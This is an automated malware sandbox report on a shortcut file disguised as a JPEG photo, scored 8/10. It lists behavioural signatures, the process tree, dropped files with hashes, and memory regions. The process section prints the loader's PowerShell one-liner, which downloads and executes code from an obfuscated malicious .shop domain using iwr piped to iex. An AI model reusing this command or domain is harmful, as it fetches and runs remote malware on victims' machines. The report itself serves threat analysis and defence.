Analysis

  • max time kernel
    149s
  • max time network
    150s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20260513-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20260513-enlocale:en-usos:windows10-2004-x64systemwindows
  • submitted
    28/07/2026, 10:18

General

  • Target
    IMG_20260727_124308.jpg.lnk
  • Size 1KB
  • Sample260728-mcaeaagf45
  • SHA256 7967eb51355bde1fe06512fdada08b426732531eeb08e3dfbfd5eb76c27c5185
  • MD5 SHA1 SHA512 TLSH
Score
8/10

Malware Config

Signatures

  • Badlisted process makes network request 2 IoCs

    Network request originating from process or tool commonly abused by malware.

  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Executes a command shell one-liner 1 TTPs 1 IoCs

    Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

  • Suspicious behavior: EnumeratesProcesses 34 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of WriteProcessMemory 3 IoCs

Processes

  • C:\Windows\system32\cmd.exe
    cmd /c C:\Users\Admin\AppData\Local\Temp\IMG_20260727_124308.jpg.lnk
    1⤵
    • Checks computer location settings
    • Executes a command shell one-liner
    • Suspicious use of WriteProcessMemory
    PID:2172
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" iwr (@('rvphotoinstaynow.shop','rese')[1,0] -join $l1dGSIa) -useb | iex
      2⤵
      • Badlisted process makes network request
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of WriteProcessMemory
      PID:5096
      • C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
        "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\kfnbec3i\kfnbec3i.cmdline"
        3⤵
        • Suspicious use of WriteProcessMemory
        PID:3156
        • C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
          C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RES71B0.tmp" "c:\Users\Admin\AppData\Local\Temp\kfnbec3i\CSCCE884507CF4D4D1DB78411F971C572D8.TMP"
          4⤵
            PID:560

    Network

          MITRE ATT&CK Enterprise v16

          Replay Monitor

          Loading Replay Monitor...

          Downloads

          RES71B0.tmp

          • Path C:\Users\Admin\AppData\Local\Temp\RES71B0.tmp
          • Size 1KB
          • SHA256 c507bea2d838a80857fd0eb1f2d67d6f19048ca3dbfb2554b9fb4adc8347444a
          • MD5 SHA1 SHA512 TLSH

          __PSScriptPolicyTest_fwktzbum.vg1.ps1

          • Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_fwktzbum.vg1.ps1
          • Size 60B
          • SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
          • MD5 SHA1 SHA512 TLSH

          kfnbec3i.dll

          • Path C:\Users\Admin\AppData\Local\Temp\kfnbec3i\kfnbec3i.dll
          • Size 3KB
          • SHA256 3a9688df54375231327a3bfd41c65a5a1dcbcc4667f6dfa34ccb7f87e875ae1f
          • MD5 SHA1 SHA512 TLSH

          CSCCE884507CF4D4D1DB78411F971C572D8.TMP

          • Path \??\c:\Users\Admin\AppData\Local\Temp\kfnbec3i\CSCCE884507CF4D4D1DB78411F971C572D8.TMP
          • Size 652B
          • SHA256 21fa36ddaf5a43ed78989c27c0dbb8e1338dc02afe1c5d442eabdba127c015e4
          • MD5 SHA1 SHA512 TLSH

          kfnbec3i.0.cs

          • Path \??\c:\Users\Admin\AppData\Local\Temp\kfnbec3i\kfnbec3i.0.cs
          • Size 203B
          • SHA256 5473b5550a65171ee7d5977d673c97e41e9ec16fad10ec5ab8aa3b7c798577a6
          • MD5 SHA1 SHA512 TLSH

          kfnbec3i.cmdline

          • Path \??\c:\Users\Admin\AppData\Local\Temp\kfnbec3i\kfnbec3i.cmdline
          • Size 369B
          • SHA256 99db6cb7dfc8caa0c3aedd275ad7340e35a9caff7051dc8808ded023a5a10385
          • MD5 SHA1 SHA512 TLSH

          memory/5096-9-0x000001FBFB460000-0x000001FBFB482000-memory.dmp

          memory/5096-3-0x000001FBFB510000-0x000001FBFB520000-memory.dmp

          memory/5096-2-0x000001FBFB510000-0x000001FBFB520000-memory.dmp

          memory/5096-24-0x000001FBE3340000-0x000001FBE3348000-memory.dmp

          memory/5096-25-0x000001FBFB510000-0x000001FBFB520000-memory.dmp

          memory/5096-27-0x000001FBFB510000-0x000001FBFB520000-memory.dmp

          memory/5096-26-0x000001FBFB510000-0x000001FBFB520000-memory.dmp

          memory/5096-28-0x000001FBFD890000-0x000001FBFD9DE000-memory.dmp

          memory/5096-29-0x000001FBFB510000-0x000001FBFB520000-memory.dmp